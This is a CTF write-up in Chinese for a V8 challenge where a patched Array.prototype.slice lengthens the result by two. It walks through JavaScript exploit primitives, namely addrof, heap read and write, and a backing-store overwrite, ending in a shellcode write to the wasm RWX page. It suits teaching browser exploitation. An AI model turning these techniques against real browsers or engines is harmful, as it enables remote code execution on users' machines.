题目信息
Author: Faith
Why do some people think browser exploitation == web?
Once you get code execution, you can execute /chal/flagprinter to get the flag. No need to get a shell.
V8 commit: 47054c840e26394dea0e36df47884202a15dd16d V8 version: 8.7.9 nc chal.duc.tf 30004
Challenge files: https://storage.googleapis.com/files.duc.tf/uploads/pwn/is-this-pwn-or-web/challenge.tar.gz (sha256: e1c70edde66932ca3ee9285fe37c04254ae5a0e00b265c68fe93440bbe3256e8)
patch
src/builtins/array-slice.tq中
- return ExtractFastJSArray(context, a, start, count);
+ // return ExtractFastJSArray(context, a, start, count);
+ // Instead of doing it the usual way, I've found out that returning it
+ // the following way gives us a 10x speedup!
+ const array: JSArray = ExtractFastJSArray(context, a, start, count);
+ const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+ otherwise Bailout;
+ array.ChangeLength(newLength);
+ return array;
当start指定为0时，这里把数组的长度增加了2，导致我们可以读写array elements后两个元素的值。
利用
JSArray结构
对于这样一个array
a = [1.1, 2.2, 3.3, 4.4]
在slice之后
d8> b = a.slice(0)
[1.1, 2.2, 3.3, 4.4, , ]
d8> b.length
6
d8> b[4]
4.768128617178215e-270
d8> b[5]
2.5530533391e-313
a = [1.1, 2.2, 3.3];
DebugPrint: 0xe3b08085aa9: [JSArray]
- map: 0x0e3b082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0e3b0820a555 <JSArray[0]>
- elements: 0x0e3b08085a89 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0e3b080426dd <FixedArray[0]> {
0xe3b08044649: [String] in ReadOnlySpace: #length: 0x0e3b08182159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0e3b08085a89 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
查看elements
pwndbg> x/10gx 0x0e3b08085a89-1
0xe3b08085a88: 0x0000000608042a31 0x3ff199999999999a （1.1）
0xe3b08085a98: 0x400199999999999a（2.2） 0x400a666666666666 （3.3）
0xe3b08085aa8: 0x080426dd082438fd （map ptr） 0x0000000608085a89 (element ptr)
0xe3b08085ab8: 0x00000006080424a5 0x08085af908085acd
0xe3b08085ac8: 0x0824579d08085b25 0x080426dd080426dd
pwndbg> x/10gf 0x0e3b08085a89-1
0xe3b08085a88: 1.2798421967007003e-313 1.1000000000000001
0xe3b08085a98: 2.2000000000000002 3.2999999999999998
0xe3b08085aa8: 4.7681286171782151e-270 1.2798557597908099e-313
+-------------+-------------+
0x0e3b08085a88 | | |
+------>| | 1.1 |
| +---------------------------+
| | | |
| | 2.2 | 3.3 |
| +---------------------------+
| | | float_arr | 0xe3b08085aa8
| | 4.4 | map | JSArray start
| +---------------------------+
| | elements | |
+-------+ ptr | |
+-------------+-------------+
元素的实际数值放置于element_ptr+0x8的地方
可控多出来的两个元素，分别为float_arr map和element ptr
浮点数与整数的转换
Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) == float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) == BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
addrof
修改float_arr的elements指针到obj_arr的 elements指针，这样通过把obj放到obj_arr，再从float_arr读取数据就能拿到obj的地址。
obj_arr float_arr
+----------+---------+ +-----------+---------+
| map | elems | | map |elems |
| | | | | |
+----------+-----+---+ +-----------+-----+---+
| |
+-----+----------------------------+
|
v
+--------------+
| obj ptr1 |+---> {A:1.1}
+--------------+
| obj ptr2 |+---> {B:2.2}
+--------------+
| ... |
| |
| |
| |
+--------------+
泄露map ptr和 element ptr
a = [1.1, 2.2, 3.3];
b = [{A:1}, {B:2}, {C:3}];
float_arr = a.slice(0);
obj_arr = b.slice(0);
float_map = float_arr[3];
float_elems = float_arr[4];
调试可知obj_map,obj_elems 与float_map，float_elems 的偏移。
float_arr :
DebugPrint: 0x25b008085b59: [JSArray]
- map: 0x25b0082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
...
- elements: 0x25b008085b39 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
obj_arr :
DebugPrint: 0x25b008085b7d: [JSArray]
- map: 0x25b00824394d <Map(PACKED_ELEMENTS)> [FastProperties]
...
- elements: 0x25b008085b69 <FixedArray[3]> {
0: 0x25b008085aa5 <Object map = 0x25b00824579d>
1: 0x25b008085ad1 <Object map = 0x25b0082457c5>
2: 0x25b008085afd <Object map = 0x25b0082457ed>
}
obj_map = itof(ftoi(float_map) + (0x50n));
obj_elems = itof(ftoi(float_elems) + (0x30n));
修改float_arr的elements指针到obj_arr的 elements指针
// hijack obj element ptr
float_arr[4]= obj_elems ;
addrof
function addrof(in_obj) {
// put the obj into our object array
obj_arr[0] = in_obj;
// accessing the first element of the float array
// treats the value there as a float:
let addr = float_arr[0];
// Convert to bigint
return ftoi(addr);
}
Arbitrary read/write within v8 heap
修改elements指针到R/W的地址即可。
由于v8堆内使用了指针压缩，而base不可知，所以只能R/W堆内的地址(即传入的地址需要时压缩后的指针)
function arbi_r(target_addr){
t=[1.1]
// read is performed at addr + 0x8
target_addr = target_addr - 0x8n
// ensure addr is tagged as a pointer
if (target_addr % 2n == 0) {
target_addr += 1n;
}
hijacked_t = t.slice(0);
hijacked_t[2]=itof(target_addr);
return ftoi(hijacked_t[0]);
}
function arbi_w(target_addr, val) { // both as BigInts
t = [1.1]
// write is made at addr + 0x8
target_addr = target_addr - 0x8n
// ensure addr is tagged
if (target_addr % 2n == 0) {
target_addr += 1n;
}
tmp_arr = t.slice(0)
// set elem ptr to desired address
tmp_arr[2] = itof(target_addr)
// set addr to desired value
tmp_arr[0] = itof(val)
}
任意R/W
为了实现堆外的R/W，可以通过修改typed arrays的backing store为目标地址。
v8 heap 'actual' heap
+----------------------------+ +---------------------+
| | | |
| buf +--------------+ | +--> |
| | | | | | |
| | . . . | | | | |
| | | | | +---------------------+
| | | | |
| +--------------+ | |
| | backing | | |
| | store ptr +----------+
| +--------------+ |
+----------------------------+
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n
// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)
wasm中的RXW段
查看WasmInstanceObject的布局
DebugPrint: 0x360c08211751: [WasmInstanceObject] in OldSpace
- map: 0x360c08245275 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x360c080835fd <Object map = 0x360c0824588d>
- elements: 0x360c080426dd <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x360c080859ed <Module map = 0x360c0824510d>
- exports_object: 0x360c08085b49 <Object map = 0x360c0824592d>
- native_context: 0x360c0820221d <NativeContext[243]>
- memory_object: 0x360c08211739 <Memory map = 0x360c0824551d>
- table 0: 0x360c08085b1d <Table map = 0x360c0824538d>
- imported_function_refs: 0x360c080426dd <FixedArray[0]>
- indirect_function_table_refs: 0x360c080426dd <FixedArray[0]>
- managed_native_allocations: 0x360c08085ad5 <Foreign>
- memory_start: 0x7ffddc000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x555556ae9670
- globals_start: (nil)
- imported_mutable_globals: 0x555556ae9690
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x360c080426dd <FixedArray[0]> {}
pwndbg> telescope 0x360c08211751-1 20
00:0000│ 0x360c08211750 ◂— 0x80426dd08245275
01:0008│ 0x360c08211758 ◂— 0xdc000000080426dd
02:0010│ 0x360c08211760 ◂— 0x1000000007ffd
03:0018│ 0x360c08211768 ◂— 0xffff00000000
04:0020│ 0x360c08211770 ◂— 0x4800000000
05:0028│ 0x360c08211778 ◂— 0x80426dd0000360c /* '\x0c6' */
06:0030│ 0x360c08211780 —▸ 0x555556ae9670 —▸ 0x7ffff73f2ca0 (main_arena+96) —▸ 0x555556b70780 ◂— 0x0
07:0038│ 0x360c08211788 ◂— 0x80426dd
08:0040│ 0x360c08211790 ◂— 0x0
... ↓
0b:0058│ 0x360c082117a8 —▸ 0x555556ae9690 —▸ 0x7ffff73f2ca0 (main_arena+96) —▸ 0x555556b70780 ◂— 0x0
0c:0060│ 0x360c082117b0 —▸ 0x360c00000000 —▸ 0x7fffffffd780 ◂— 0x360c00000000
0d:0068│ 0x360c082117b8 —▸ 0xcff4e389000 ◂— jmp 0xcff4e3893a0 /* 0xcccccc0000039be9 */
0e:0070│ 0x360c082117c0 ◂— 0x8085b49080859ed
0f:0078│ 0x360c082117c8 ◂— 0x82117390820221d
10:0080│ 0x360c082117d0 ◂— 0x804230108042301
11:0088│ 0x360c082117d8 ◂— 0x8085b1108042301
12:0090│ 0x360c082117e0 ◂— 0x8085ad508085b3d
13:0098│ 0x360c082117e8 ◂— 0x8085b8108042301
其中0x360c082117b8 (+0x68)处的地址0xcff4e389000处于RXW段
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xcff4e389000 0xcff4e38a000 rwxp 1000 0
向其中写入shellcode即可
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);
// %DebugPrint(buf);
// %SystemBreak();
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n
// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)
// backing store now points to the rwx segment, copy in our shellcode
for (let i = 0; i < shellcode.length; i++) {
uint8_arr[i] = shellcode[i]
}
wasm_func();
murmur
大致一道V8的题目，分为构造addrof, (withinHeap) arbitraryR/W, (allAddr) arbitraryR/W 的primitive。
其中可以通过TypedArray的backing store，实现任意地址的arbitrary R/W。
(https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html)
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